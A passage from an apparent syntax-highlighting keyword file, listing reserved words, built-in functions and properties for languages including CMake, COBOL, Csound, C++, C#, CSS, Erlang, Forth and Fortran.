PRE_INSTALL_SCRIPT PRE_LINK PROGRAM PROGRAM_ARGS PROPERTIES QUIET RANGE READ REGEX REGULAR_EXPRESSION REPLACE REQUIRED RETURN_VALUE RUNTIME_DIRECTORY SEND_ERROR SHARED SOURCES STATIC STATUS STREQUAL STRGREATER STRLESS SUFFIX TARGET TOLOWER TOUPPER VAR VARIABLES VERSION WIN32 WRAP_EXCLUDE WRITE APPLE MINGW MSYS CYGWIN BORLAND WATCOM MSVC MSVC_IDE MSVC60 MSVC70 MSVC71 MSVC80 CMAKE_COMPILER_2005 OFF ON + + + + configuration data declaratives division environment environment-division file file-control function i-o i-o-control identification input input-output linkage local-storage output procedure program program-id section special-names working-storage + accept add alter apply assign call chain close compute continue control convert count delete display divide draw drop eject else enable end-accept end-add end-call end-chain end-compute end-delete end-display end-divide end-evaluate end-if end-invoke end-multiply end-perform end-read end-receive end-return end-rewrite end-search end-start end-string end-subtract end-unstring end-write erase evaluate examine exec execute exit go goback generate if ignore initialize initiate insert inspect invoke leave merge move multiply open otherwise perform print read receive release reload replace report reread rerun reserve reset return rewind rewrite rollback run search seek select send set sort start stop store string subtract sum suppress terminate then transform unlock unstring update use wait when wrap write + access acquire actual address advancing after all allowing alphabet alphabetic alphabetic-lower alphabetic-upper alphanumeric alphanumeric-edited also alternate and any are area areas as ascending at attribute author auto auto-hyphen-skip auto-skip automatic autoterminate background-color background-colour backward basis beep before beginning bell binary blank blink blinking block bold bottom box boxed by c01 c02 c03 c04 c05 c06 c07 c08 c09 c10 c11 c12 cancel cbl cd centered cf ch chaining changed character characters chart class clock-units cobol code code-set col collating color colour column com-reg comma command-line commit commitment common communication comp comp-0 comp-1 comp-2 comp-3 comp-4 comp-5 comp-6 comp-x compression computational computational-1 computational-2 computational-3 computational-4 computational-5 computational-6 computational-x console contains content control-area controls conversion converting core-index corr corresponding crt crt-under csp currency current-date cursor cycle cyl-index cyl-overflow date date-compiled date-written day day-of-week dbcs de debug debug-contents debug-item debug-line debug-name debug-sub-1 debug-sub-2 debug-sub-3 debugging decimal-point default delimited delimiter depending descending destination detail disable disk disp display-1 display-st down duplicates dynamic echo egcs egi emi empty-check encryption end end-of-page ending enter entry eol eop eos equal equals error escape esi every exceeds exception excess-3 exclusive exhibit extend extended-search external externally-described-key factory false fd fh--fcd fh--keydef file-id file-limit file-limits file-prefix filler final first fixed footing for foreground-color foreground-colour format from full giving global greater grid group heading high high-value high-values highlight id in index indexed indic indicate indicator indicators inheriting initial installation into invalid invoked is japanese just justified kanji kept key keyboard label last leading left left-justify leftline length length-check less limit limits lin linage linage-counter line line-counter lines lock lock-holding locking low low-value low-values lower lowlight manual mass-update master-index memory message method mode modified modules more-labels multiple name named national national-edited native nchar negative next no no-echo nominal not note nstd-reels null nulls number numeric numeric-edited numeric-fill o-fill object object-computer object-storage occurs of off omitted on oostackptr optional or order organization other others overflow overline packed-decimal padding page page-counter paragraph password pf ph pic picture plus pointer pop-up pos position positioning positive previous print-control print-switch printer printer-1 printing prior private procedure-pointer procedures proceed process processing prompt protected public purge queue quote quotes random range rd readers ready record record-overflow recording records redefines reel reference references relative remainder remarks removal renames reorg-criteria repeated replacing reporting reports required resident return-code returning reverse reverse-video reversed rf rh right right-justify rolling rounded s01 s02 s03 s04 s05 same screen scroll sd secure security segment segment-limit selective self selfclass sentence separate sequence sequential service setshadow shift-in shift-out sign size skip1 skip2 skip3 sort-control sort-core-size sort-file-size sort-merge sort-message sort-mode-size sort-option sort-return source source-computer space spaces space-fill standard standard-1 standard-2 starting status sub-queue-1 sub-queue-2 sub-queue-3 subfile super symbolic sync synchronized sysin sysipt syslst sysout syspch syspunch system-info tab tallying tape terminal terminal-info test text than through thru time time-of-day time-out timeout times title to top totaled totaling trace track-area track-limit tracks trailing trailing-sign transaction true type typedef underline underlined unequal unit until up updaters upon upper upsi-0 upsi-1 upsi-2 upsi-3 upsi-4 upsi-5 upsi-6 upsi-7 usage user using value values variable varying when-compiled window with words write-only write-verify writerszero zero zero-fill zeros zeroes + + + a i db in or zr Add Dec Div Inc Mul Sub abs and cos dam dec div exp fin fof fog inh ino inq ins int inx inz lfo log mac mod mul not out pan pow rms rnd shl sin sqr sub sum tab tan tb0 tb1 tb2 tb3 tb4 tb5 tb6 tb7 tb8 tb9 urd vco xin xor zar zaw zir ziw zkr zkw adsr babo buzz cent clip comb cosh diff divz fini fink fmb3 fof2 fold fout frac ftsr gain goto in32 inch init line maca moog mute nrpn outc outh outo outq outs outx outz peak port pset pvoc rand seed sinh sqrt stix tabw tanh tb10 tb11 tb12 tb13 tb14 tb15 tone vadd vco2 vdiv vexp vibr vmap vmul vpow wrap xout xyin zacl zarg zawm ziwm zkcl zkwm FLbox FLjoy FLrun adsyn ampdb atone birnd bqrez butbp butbr buthp butlp clear ctrl7 dbamp dconv delay dumpk endin endop event expon fouti foutk ftgen ftlen gauss gbuzz grain guiro igoto ihold instr integ kgoto limit linen log10 loopg loopl lpf18 madsr max_k metro noise nsamp oscil out32 outch outic outkc outq1 outq2 outq3 outq4 outs1 outs2 pareq pitch pluck portk print pvadd randh randi rbjeq readk reson rezzy rnd31 scans scanu sense space tab_i table tbvcf tempo timek times tival tonek tonex vaddv vbap4 vbap8 vbapz vcomb vcopy vdecr vdivv veloc vexpv vibes vincr vmult voice vport vpowv vpvoc vsubv vwrap wgbow xadsr zamod zkmod FLhide FLkeyb FLknob FLpack FLshow FLtabs FLtext active adsynt alpass areson atonek atonex bamboo bbcutm bbcuts biquad cabasa cauchy cggoto cigoto ckgoto clfilt cngoto convle cosinv cpsoct cpspch cpstun cpuprc cross2 crunch ctrl14 ctrl21 delay1 delayk delayr delayw deltap denorm diskin dumpk2 dumpk3 dumpk4 envlpx expseg filesr fiopen fmbell follow foscil foutir ftlen2 ftload ftmorf ftsave grain2 grain3 harmon hrtfer initc7 interp jitter linenr lineto linseg locsig loopge loople lorenz loscil lowres lpread lpslot mandel mandol mclock mdelay midic7 midiin midion mirror moscil mpulse mrtmsg mxadsr nlfilt noteon notnum ntrpol octave octcps octpch opcode oscbnk oscil1 oscil3 oscili osciln oscils oscilx outiat outipb outipc outkat outkpb outkpc pchoct phasor planet poscil printk prints pvread pvsftr pvsftw random readk2 readk3 readk4 reinit resonk resonr resonx resony resonz reverb rigoto s16b14 s32b14 sekere sfload sfplay shaker sininv spat3d spdist spsend strset table3 tablei tablew tabw_i taninv tigoto timout turnon upsamp vbap16 vcella vco2ft vdel_k vdelay vlimit vmultv vrandh vrandi wgclar xscans xscanu FLcolor FLcount FLgroup FLlabel FLpanel FLvalue aftouch ampdbfs ampmidi aresonk balance bexprnd biquada changed clockon cps2pch cpsmidi cpstmid cpstuni cpsxpch dbfsamp dcblock deltap3 deltapi deltapn deltapx dispfft display envlpxr exprand expsega expsegr filelen filter2 flanger fmmetal fmrhode fmvoice follow2 foscili fprints ftchnls ftloadk ftlptim ftsavek gogobel granule hilbert initc14 initc21 invalue jitter2 jspline linrand linsegr locsend logbtwo loopseg loscil3 lowresx lphasor lposcil lpreson lpshold marimba massign midic14 midic21 midichn midion2 midiout moogvcf noteoff nreverb nstrnum octmidi oscil1i outic14 outipat outkc14 outkpat pcauchy pchbend pchmidi phaser1 phaser2 pinkish poisson polyaft poscil3 printk2 printks product pvcross pvsanal pvsinfo pvsynth randomh randomi release repluck reverb2 rspline rtclock seqtime sfilist sfinstr sfplay3 sfplaym sfplist slider8 sndwarp soundin spat3di spat3dt specsum streson tableiw tablekt tableng tablera tablewa taninv2 tempest tlineto transeg trigger trigseq trirand turnoff unirand valpass vco2ift vdelay3 vdelayk vdelayx vexpseg vibrato vlinseg vlowres vmirror waveset weibull wgbrass wgflute wgpluck wguide1 wguide2 xtratim zakinit FLbutton FLcolor2 FLprintk FLroller FLscroll FLsetBox FLsetVal FLslider FLupdate betarand butterbp butterbr butterhp butterlp chanctrl clockoff convolve cpsmidib ctrlinit cuserrnd deltapxw distort1 downsamp duserrnd filepeak fmpercfl fmwurlie fprintks hsboscil lowpass2 lpfreson lpinterp lposcil3 maxalloc midictrl multitap nestedap octmidib oscilikt outvalue pchmidib powoftwo prealloc pvinterp pvsadsyn pvscross pvsfread pvsmaska rireturn samphold schedule semitone sensekey setksmps sfinstr3 sfinstrm sfplay3m sfpreset slider16 slider32 slider64 slider8f soundout specaddm specdiff specdisp specfilt spechist specptrk specscal spectrum sprintks subinstr svfilter tablegpw tableikt tablemix tableseg tablewkt tablexkt tb0_init tb1_init tb2_init tb3_init tb4_init tb5_init tb6_init tb7_init tb8_init tb9_init tempoval vco2init vdelayxq vdelayxs vdelayxw vecdelay wgpluck2 wterrain xscanmap zfilter2 FLbutBank FLgetsnap FLpackEnd FLprintk2 FLsetFont FLsetSize FLsetText FLsetsnap FLslidBnk FLtabsEnd dripwater eventname ktableseg noteondur osciliktp oscilikts pgmassign phasorbnk pitchamdf pvbufread readclock sandpaper scantable schedwhen sfinstr3m sfpassign slider16f slider32f slider64f sndwarpst soundoutc soundouts tablecopy tableigpw tableimix tablexseg tb10_init tb11_init tb12_init tb13_init tb14_init tb15_init timeinstk timeinsts vbap4move vbap8move vbapzmove vdelayxwq vdelayxws xscansmap FLgroupEnd FLloadsnap FLpack_end FLpanelEnd FLsavesnap FLsetAlign FLsetColor FLsetVal_i FLtabs_end filenchnls noteondur2 scanhammer schedkwhen tableicopy tambourine vbap16move vbaplsinit wgbowedbar FLgroup_end FLpanel_end FLscrollEnd FLsetColor2 mididefault midinoteoff sleighbells FLscroll_end subinstrinit FLsetPosition FLsetTextSize FLsetTextType midinoteoncps midinoteonkey midinoteonoct midinoteonpch midipitchbend schedwhenname FLsetTextColor schedkwhenname midicontrolchange midiprogramchange midipolyaftertouch midichannelaftertouch + sr kr ar ksmps nchnls + + + + new instanceof do return break continue throw for while until loop if else unless switch when then in of by typeof delete where try catch finally prototype jQuery case default function var void with const let enum export import native __hasProp __extends __slice __bind __indexOf + Object Number Boolean Array String RegExp Function Date Math eval setInterval clearInterval setTimeout clearTimeout isFinite isNaN parseFloat parseInt escape unescape console encodeURI encodeURIComponent decodeURI decodeURIComponent window document navigator location history screen alert prompt process GLOBAL require exports + false true yes no on off undefined null NaN Infinity + + + alignof and and_eq bitand bitor break case catch compl const_cast continue default delete do dynamic_cast else false for goto if namespace new not not_eq nullptr operator or or_eq reinterpret_cast return sizeof static_assert static_cast switch this throw true try typedef typeid using while xor xor_eq NULL + alignas asm auto bool char char16_t char32_t class clock_t const constexpr decltype double enum explicit export extern final float friend inline int int8_t int16_t int32_t int64_t int_fast8_t int_fast16_t int_fast32_t int_fast64_t intmax_t intptr_t long mutable noexcept override private protected ptrdiff_t public register short signed size_t ssize_t static struct template thread_local time_t typename uint8_t uint16_t uint32_t uint64_t uint_fast8_t uint_fast16_t uint_fast32_t uint_fast64_t uintmax_t uintptr_t union unsigned virtual void volatile wchar_t + a addindex addtogroup anchor arg attention author authors b brief bug c callergraph callgraph category cite class code cond copybrief copydetails copydoc copyright date def defgroup deprecated details diafile dir docbookonly dontinclude dot dotfile e else elseif em endcode endcond enddocbookonly enddot endhtmlonly endif endinternal endlatexonly endlink endmanonly endmsc endparblock endrtfonly endsecreflist enduml endverbatim endxmlonly enum example exception extends f$ f[ f] file fn f{ f} headerfile hidecallergraph hidecallgraph hideinitializer htmlinclude htmlonly idlexcept if ifnot image implements include includelineno ingroup interface internal invariant latexinclude latexonly li line link mainpage manonly memberof msc mscfile n name namespace nosubgrouping note overload p package page par paragraph param parblock post pre private privatesection property protected protectedsection protocol public publicsection pure ref refitem related relatedalso relates relatesalso remark remarks result return returns retval rtfonly sa secreflist section see short showinitializer since skip skipline snippet startuml struct subpage subsection subsubsection tableofcontents test throw throws todo tparam typedef union until var verbatim verbinclude version vhdlflow warning weakgroup xmlonly xrefitem + + + abstract add alias as ascending async await base break case catch checked continue default delegate descending do dynamic else event explicit extern false finally fixed for foreach from get global goto group if implicit in interface internal into is join let lock namespace new null object operator orderby out override params partial private protected public readonly ref remove return sealed select set sizeof stackalloc switch this throw true try typeof unchecked unsafe using value virtual where while yield + bool byte char class const decimal double enum float int long sbyte short static string struct uint ulong ushort var void + + + -khtml-background-clip -khtml-background-origin -khtml-background-size -khtml-border-bottom-left-radius -khtml-border-bottom-right-radius -khtml-border-radius -khtml-border-top-left-radius -khtml-border-top-right-radius -khtml-opacity -moz-animation -moz-animation-delay -moz-animation-direction -moz-animation-duration -moz-animation-fill-mode -moz-animation-iteration-count -moz-animation-name -moz-animation-play-state -moz-animation-timing-function -moz-appearance -moz-background-clip -moz-background-inline-policy -moz-background-origin -moz-background-size -moz-binding -moz-border-bottom-colors -moz-border-end -moz-border-end-color -moz-border-end-style -moz-border-end-width -moz-border-image -moz-border-left-colors -moz-border-radius -moz-border-radius-bottomleft -moz-border-radius-bottomright -moz-border-radius-topleft -moz-border-radius-topright -moz-border-right-colors -moz-border-start -moz-border-start-color -moz-border-start-style -moz-border-start-width -moz-border-top-colors -moz-box-align -moz-box-direction -moz-box-flex -moz-box-flex-group -moz-box-flexgroup -moz-box-ordinal-group -moz-box-orient -moz-box-pack -moz-box-shadow -moz-box-sizing -moz-column-count -moz-column-gap -moz-column-rule -moz-column-rule-color -moz-column-rule-style -moz-column-rule-width -moz-column-width -moz-float-edge -moz-force-broken-image-icon -moz-image-region -moz-linear-gradient -moz-margin-end -moz-margin-start -moz-opacity -moz-outline -moz-outline-color -moz-outline-offset -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright -moz-outline-style -moz-outline-width -moz-padding-end -moz-padding-start -moz-radial-gradient -moz-stack-sizing -moz-text-decoration-color -moz-text-decoration-line -moz-text-decoration-style -moz-transform -moz-transform-origin -moz-transition -moz-transition-delay -moz-transition-duration -moz-transition-property -moz-transition-timing-function -moz-user-focus -moz-user-input -moz-user-modify -moz-user-select -moz-window-shadow -ms-filter -ms-transform -ms-transform-origin -o-transform -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function -webkit-appearance -webkit-backface-visibility -webkit-background-clip -webkit-background-composite -webkit-background-origin -webkit-background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-horizontal-spacing -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-border-vertical-spacing -webkit-box-align -webkit-box-direction -webkit-box-flex -webkit-box-flex-group -webkit-box-lines -webkit-box-ordinal-group -webkit-box-orient -webkit-box-pack -webkit-box-reflect -webkit-box-shadow -webkit-box-sizing -webkit-column-break-after -webkit-column-break-before -webkit-column-break-inside -webkit-column-count -webkit-column-gap -webkit-column-rule -webkit-column-rule-color -webkit-column-rule-style -webkit-column-rule-width -webkit-column-width -webkit-columns -webkit-dashboard-region -webkit-font-smoothing -webkit-gradient -webkit-line-break -webkit-linear-gradient -webkit-margin-bottom-collapse -webkit-margin-collapse -webkit-margin-start -webkit-margin-top-collapse -webkit-marquee -webkit-marquee-direction -webkit-marquee-increment -webkit-marquee-repetition -webkit-marquee-speed -webkit-marquee-style -webkit-mask -webkit-mask-attachment -webkit-mask-box-image -webkit-mask-clip -webkit-mask-composite -webkit-mask-image -webkit-mask-origin -webkit-mask-position -webkit-mask-position-x -webkit-mask-position-y -webkit-mask-repeat -webkit-mask-size -webkit-nbsp-mode -webkit-padding-start -webkit-perspective -webkit-perspective-origin -webkit-radial-gradient -webkit-rtl-ordering -webkit-tap-highlight-color -webkit-text-fill-color -webkit-text-security -webkit-text-size-adjust -webkit-text-stroke -webkit-text-stroke-color -webkit-text-stroke-width -webkit-touch-callout -webkit-transform -webkit-transform-origin -webkit-transform-origin-x -webkit-transform-origin-y -webkit-transform-origin-z -webkit-transform-style -webkit-transition -webkit-transition-delay -webkit-transition-duration -webkit-transition-property -webkit-transition-timing-function -webkit-user-drag -webkit-user-modify -webkit-user-select align-content align-items align-self alignment-adjust alignment-baseline all animation animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function appearance azimuth backface-visibility background background-attachment background-blend-mode background-break background-clip background-color background-image background-origin background-position background-repeat background-size baseline-shift binding bleed bookmark-label bookmark-level bookmark-state bookmark-target border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-spacing border-style border-top border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width border-width bottom box-align box-decoration-break box-direction box-flex box-flex-group box-lines box-ordinal-group box-orient box-pack box-shadow box-sizing break-after break-before break-inside caption-side clear clip color color-profile column-count column-fill column-gap column-rule column-rule-color column-rule-style column-rule-width column-span column-width columns content counter-increment counter-reset crop cue cue-after cue-before cursor direction display dominant-baseline drop-initial-after-adjust drop-initial-after-align drop-initial-before-adjust drop-initial-before-align drop-initial-size drop-initial-value elevation empty-cells filter fit fit-position flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap float float-offset font font-effect font-emphasize font-family font-size font-size-adjust font-stretch font-style font-variant font-weight grid-columns grid-rows hanging-punctuation height hyphenate-after hyphenate-before hyphenate-character hyphenate-lines hyphenate-resource hyphens icon image-orientation image-rendering image-resolution inline-box-align justify-content left letter-spacing line-height line-stacking line-stacking-ruby line-stacking-shift line-stacking-strategy list-style list-style-image list-style-position list-style-type margin margin-bottom margin-left margin-right margin-top mark mark-after mark-before marker-offset marks marquee-direction marquee-play-count marquee-speed marquee-style max-height max-width min-height min-width move-to nav-down nav-index nav-left nav-right nav-up opacity order orphans outline outline-color outline-offset outline-style outline-width overflow overflow-style overflow-x overflow-y padding padding-bottom padding-left padding-right padding-top page page-break-after page-break-before page-break-inside page-policy pause pause-after pause-before perspective perspective-origin phonemes pitch pitch-range play-during position presentation-level punctuation-trim quotes rendering-intent resize rest rest-after rest-before richness right rotation rotation-point ruby-align ruby-overhang ruby-position ruby-span size speak speak-header speak-numeral speak-punctuation speech-rate stress string-set tab-size table-layout target target-name target-new target-position text-align text-align-last text-decoration text-decoration-color text-decoration-line text-decoration-style text-emphasis text-height text-indent text-justify text-outline text-overflow text-shadow text-transform text-wrap top transform transform-origin transform-style transition transition-delay transition-duration transition-property transition-timing-function unicode-bidi vertical-align visibility voice-balance voice-duration voice-family voice-pitch voice-pitch-range voice-rate voice-stress voice-volume volume white-space white-space-collapse widows width word-break word-spacing word-wrap z-index + active after before check checked disabled empty enabled first first-child first-letter first-line first-of-type focus hover indeterminate invalid lang last-child last-of-type left link not nth-child nth-last-child nth-of-type nth-last-of-type only-child only-of-type optional read-only read-write required right root selection target valid visited + + + abstract alias align asm assert auto body bool break byte case cast catch cdouble cent cfloat char class const continue creal dchar debug default delegate delete deprecated do double else enum export extern false final finally float for foreach foreach_reverse function goto idouble if ifloat import in inout int interface invariant ireal is lazy long mixin module new null out override package pragma private protected public real return scope short static struct super switch synchronized template this throw true try typedef typeid typeof ubyte ucent uint ulong union unittest ushort version void volatile wchar while with + + + + + + after and andalso band begin bnot bor bsl bsr bxor case catch cond div end fun if let not of or orelse query receive rem try when xor + erlang: abs adler32 adler32_combine erlang:append_element apply atom_to_binary atom_to_list binary_to_atom binary_to_existing_atom binary_to_list bitstring_to_list binary_to_term bit_size erlang:bump_reductions byte_size erlang:cancel_timer check_process_code concat_binary crc32 crc32_combine date decode_packet delete_module erlang:demonitor disconnect_node erlang:display element erase erlang:error exit float float_to_list erlang:fun_info erlang:fun_to_list erlang:function_exported garbage_collect get erlang:get_cookie get_keys erlang:get_stacktrace group_leader halt erlang:hash hd erlang:hibernate integer_to_list erlang:integer_to_list iolist_to_binary iolist_size is_alive is_atom is_binary is_bitstring is_boolean erlang:is_builtin is_float is_function is_integer is_list is_number is_pid is_port is_process_alive is_record is_reference is_tuple length link list_to_atom list_to_binary list_to_bitstring list_to_existing_atom list_to_float list_to_integer erlang:list_to_integer list_to_pid list_to_tuple load_module erlang:load_nif erlang:loaded erlang:localtime erlang:localtime_to_universaltime make_ref erlang:make_tuple erlang:max erlang:md5 erlang:md5_final erlang:md5_init erlang:md5_update erlang:memory erlang:min module_loaded erlang:monitor monitor_node node nodes now open_port erlang:phash erlang:phash2 pid_to_list port_close port_command erlang:port_command port_connect port_control erlang:port_call erlang:port_info erlang:port_to_list erlang:ports pre_loaded erlang:process_display process_flag process_info processes purge_module put erlang:raise erlang:read_timer erlang:ref_to_list register registered erlang:resume_process round self erlang:send erlang:send_after erlang:send_nosuspend erlang:set_cookie setelement size spawn spawn_link spawn_monitor spawn_opt split_binary erlang:start_timer statistics erlang:suspend_process erlang:system_flag erlang:system_info erlang:system_monitor erlang:system_profile term_to_binary throw time tl erlang:trace erlang:trace_delivered erlang:trace_info erlang:trace_pattern trunc tuple_size tuple_to_list erlang:universaltime erlang:universaltime_to_localtime unlink unregister whereis erlang:yield + -define -else -endif -ifdef -ifndef -include -include_lib -undef + -behavior -behaviour -compile -created -created_by -export -file -import -module -modified -modified_by -record -revision -spec -type -vsn + @author @clear @copyright @deprecated @doc @docfile @end @equiv @headerfile @hidden @private @reference @see @since @spec @throws @title @todo @TODO @type @version + @date @docRoot @link @module @package @section @time @type @version + + + basic basicio boats cfgfile file http npc os uo util accessible addmenuitem appendconfigfileelem applyconstraint applydamage applyrawdamage assignrecttoweatherregion append baseskilltorawskill boatfromitem broadcast ban cdbl cint cstr checklineofsight checklosat checkskill consumemana consumereagents consumesubstance createaccount createitematlocation createiteminbackpack createitemininventory createitemincontainer createmenu createmultiatlocation createnpcfromtemplate createrootiteminstoragearea createstoragearea clear_script_profile_counters close damage destroyitem destroymulti destroyrootiteminstoragearea detach disableevents disconnectclient distance disable enableevents enumerateitemsincontainer enumerateonlinecharacters equipfromtemplate equipitem eraseglobalproperty eraseobjproperty enable enabled erase events_waiting exists findconfigelem findobjtypeincontainer findrootiteminstoragearea findstoragearea fclose find fopen fread fseek ftell fwrite gamestat getamount getcommandhelp getconfigint getconfigintkeys getconfigmaxintkey getconfigreal getconfigstring getconfigstringkeys getconfigstringarray getelemproperty getequipmentbylayer getglobalproperty getharvestdifficulty getmapinfo getmenuobjtypes getobjproperty getobjtype getobjtypebyname getproperty getrawskill getregionstring getskill getspelldifficulty getstandingheight getworldheight grantprivilege harvestresource healdamage hex islegalmove insert keys listequippeditems listghostsnearlocation listhostiles listitemsatlocation listitemsnearlocation listitemsnearlocationoftype listmobilesinlineofsight listmobilesnearlocation listmobilesnearlocationex listobjectsinbox loadtusscpfile left len log_profile lower makeboundingbox move moveboat moveboatrelative movecharactertolocation moveitemtocontainer moveitemtolocation move_offline_mobiles openpaperdoll open pack performaction playlightningbolteffect playmovingeffect playmovingeffectxyz playobjectcenteredeffect playsoundeffect playsoundeffectprivate playstationaryeffect printtextabove printtextaboveprivate packages polcore position print queryparam randomdiceroll randomint rawskilltobaseskill readconfigfile readgameclock releaseitem registerforspeechevents registeritemwithboat requestinput reserveitem restartscript resurrect revokeprivilege runawayfrom runawayfromlocation runtoward runtowardlocation reverse run_script_to_completion saveworldstate selectmenuitem2 self sendbuywindow senddialoggump sendevent sendopenspecialcontainer sendpacket sendsellwindow sendskillwindow sendstringastipwindow sendsysmessage sendtextentrygump setanchor setglobalproperty setname setobjproperty setopponent setproperty setrawskill setregionlightlevel setregionweatherlevel setscriptcontroller setwarmode shutdown speakpowerwords splitwords startspelleffect subtractamount systemfindboatbyserial systemfindobjectbyserial say set_critical set_debug set_priority set_priority_divide set_script_option setcmdlevel setdex setint setlightlevel setmaster setname setpassword setstr shrink size sleep sleepms sort spendgold squelch start_script syslog system_rpm target targetcoordinates targetmultiplacement turnawayfrom turnawayfromlocation turnboat turntoward turntowardlocation toggle unloadconfigfile unpack unban unload_scripts upper walkawayfrom walkawayfromlocation walktoward walktowardlocation wander writehtml writehtmlraw wait_for_event movechar_forcelocation moveitem_forcelocation moveitem_normal scriptopt_debug scriptopt_no_interrupt scriptopt_no_runaway te_cancel_disable te_cancel_enable te_style_disable te_style_normal te_style_numerical tgtopt_check_los tgtopt_harmful tgtopt_helpful tgtopt_neutral tgtopt_nocheck_los setprop getprop + array const dictionary global local var and default in next not or return to include use enum + while for endfor function program endprogram endfunction foreach case else elseif if endcase endenum endforeach endif endwhile + + + AGAIN BEGIN CASE DO ELSE ENDCASE ENDOF IF LOOP OF REPEAT THEN UNTIL WHILE [IF] [ELSE] [THEN] ?DO + DUP DROP ROT SWAP OVER @ ! 2@ 2! 2DUP 2DROP 2SWAP 2OVER NIP R@ >R R> 2R@ 2>R 2R> 0= 0< SP@ SP! W@ W! C@ C! < > = <> 0<>SPACE SPACES KEY? KEY THROW CATCH ABORT */ 2* /MOD CELL+ CELLS CHAR+ CHARS MOVE ERASE DABS TITLE HEX DECIMAL HOLD <# # #S #> SIGN D. . U. DUMP (.") >NUMBER ' IMMEDIATE EXIT RECURSE UNLOOP LEAVE HERE ALLOT , C, W, COMPILE, BRANCH, RET, LIT, DLIT, ?BRANCH, ", >MARK >RESOLVE1 <MARK >RESOLVE ALIGN ALIGNED USER-ALLOT USER-HERE HEADER DOES> SMUDGE HIDE :NONAME LAST-WORD ?ERROR ERROR2 FIND1 SFIND SET-CURRENT GET-CURRENT DEFINITIONS GET-ORDER FORTH ONLY SET-ORDER ALSO PREVIOUS VOC-NAME. ORDER LATEST LITERAL 2LITERAL SLITERAL CLITERAL ?LITERAL1 ?SLITERAL1 HEX-LITERAL HEX-SLITERAL ?LITERAL2 ?SLITERAL2 SOURCE EndOfChunk CharAddr PeekChar IsDelimiter GetChar OnDelimiter SkipDelimiters OnNotDelimiter SkipWord SkipUpTo ParseWord NextWord PARSE SKIP CONSOLE-HANDLES REFILL DEPTH ?STACK ?COMP WORD INTERPRET BYE QUIT MAIN1 EVALUATE INCLUDE-FILE INCLUDED >BODY +WORD WORDLIST CLASS! CLASS@ PAR! PAR@ ID. ?IMMEDIATE ?VOC IMMEDIATE VOC WordByAddrWl WordByAddr NLIST WORDS SAVE OPTIONS /notransl ANSI>OEM ACCEPT EMIT CR TYPE EKEY? EKEY EKEY>CHAR EXTERNTASK ERASE-IMPORTS ModuleName ModuleDirName ENVIRONMENT? DROP-EXC-HANDLER SET-EXC-HANDLER HALT ERR CLOSE-FILE CREATE-FILE CREATE-FILE-SHARED OPEN-FILE-SHARED DELETE-FILE FILE-POSITION FILE-SIZE OPEN-FILE READ-FILE REPOSITION-FILE DOS-LINES UNIX-LINES READ-LINE WRITE-FILE RESIZE-FILE WRITE-LINE ALLOCATE FREE RESIZE START SUSPEND RESUME STOP PAUSE MIN MAX TRUE FALSE ASCIIZ> R/O W/O ;CLASS ENDWITH OR AND /STRING SEARCH COMPARE EXPORT ;MODULE SPACE + VARIABLE CREATE : VALUE CONSTANT VM: M: var dvar chars OBJ CONSTR: DESTR: CLASS: OBJECT: POINTER USER USER-CREATE USER-VALUE VECT WNDPROC: VOCABULARY -- TASK: CEZ: MODULE: + CHAR [CHAR] POSTPONE WITH ['] TO [COMPILE] CHAR ASCII \' + REQUIRE WINAPI + S" ABORT" Z" " ." C" + + + access action advance allocatable allocate apostrophe assign assignment associate asynchronous backspace bind blank blockdata call case character class close common complex contains continue critical cycle data deallocate decimal delim default dimension direct do dowhile double doubleprecision else elseif elsewhere encoding end endassociate endblockdata endcritical enddo endenum endfile endforall endfunction endif endinterface endmodule endprocedure endprogram endselect endsubmodule endsubroutine endtype endwhere entry enum eor equivalence err errmsg exist exit external file flush fmt forall form format formatted function go goto id if implicit in include inout integer inquire intent interface intrinsic iomsg iolength iostat kind len logical module name named namelist nextrec nml none nullify number only open opened operator optional out pad parameter pass pause pending pointer pos position precision print private procedure program protected public quote read readwrite real rec recl recursive result return rewind save select selectcase selecttype sequential sign size stat status stop stream submodule subroutine target then to type unformatted unit use value volatile wait where while write + abs achar acos acosd adjustl adjustr aimag aimax0 aimin0 aint ajmax0 ajmin0 akmax0 akmin0 all allocated alog alog10 amax0 amax1 amin0 amin1 amod anint any asin asind associated atan atan2 atan2d atand bitest bitl bitlr bitrl bjtest bit_size bktest break btest cabs ccos cdabs cdcos cdexp cdlog cdsin cdsqrt ceiling cexp char clog cmplx conjg cos cosd cosh count cpu_time cshift csin csqrt dabs dacos dacosd dasin dasind datan datan2 datan2d datand date date_and_time dble dcmplx dconjg dcos dcosd dcosh dcotan ddim dexp dfloat dflotk dfloti dflotj digits dim dimag dint dlog dlog10 dmax1 dmin1 dmod dnint dot_product dprod dreal dsign dsin dsind dsinh dsqrt dtan dtand dtanh eoshift epsilon errsns exp exponent float floati floatj floatk floor fraction free huge iabs iachar iand ibclr ibits ibset ichar idate idim idint idnint ieor ifix iiabs iiand iibclr iibits iibset iidim iidint iidnnt iieor iifix iint iior iiqint iiqnnt iishft iishftc iisign ilen imax0 imax1 imin0 imin1 imod index inint inot int int1 int2 int4 int8 iqint iqnint ior ishft ishftc isign isnan izext jiand jibclr jibits jibset jidim jidint jidnnt jieor jifix jint jior jiqint jiqnnt jishft jishftc jisign jmax0 jmax1 jmin0 jmin1 jmod jnint jnot jzext kiabs kiand kibclr kibits kibset kidim kidint kidnnt kieor kifix kind kint kior kishft kishftc kisign kmax0 kmax1 kmin0 kmin1 kmod knint knot kzext lbound leadz len len_trim lenlge lge lgt lle llt log log10 logical lshift malloc matmul max max0 max1 maxexponent maxloc maxval merge min min0 min1 minexponent minloc minval mod modulo mvbits nearest nint not nworkers number_of_processors pack popcnt poppar precision present product radix random random_number random_seed range real repeat reshape rrspacing rshift scale scan secnds selected_int_kind selected_real_kind set_exponent shape sign 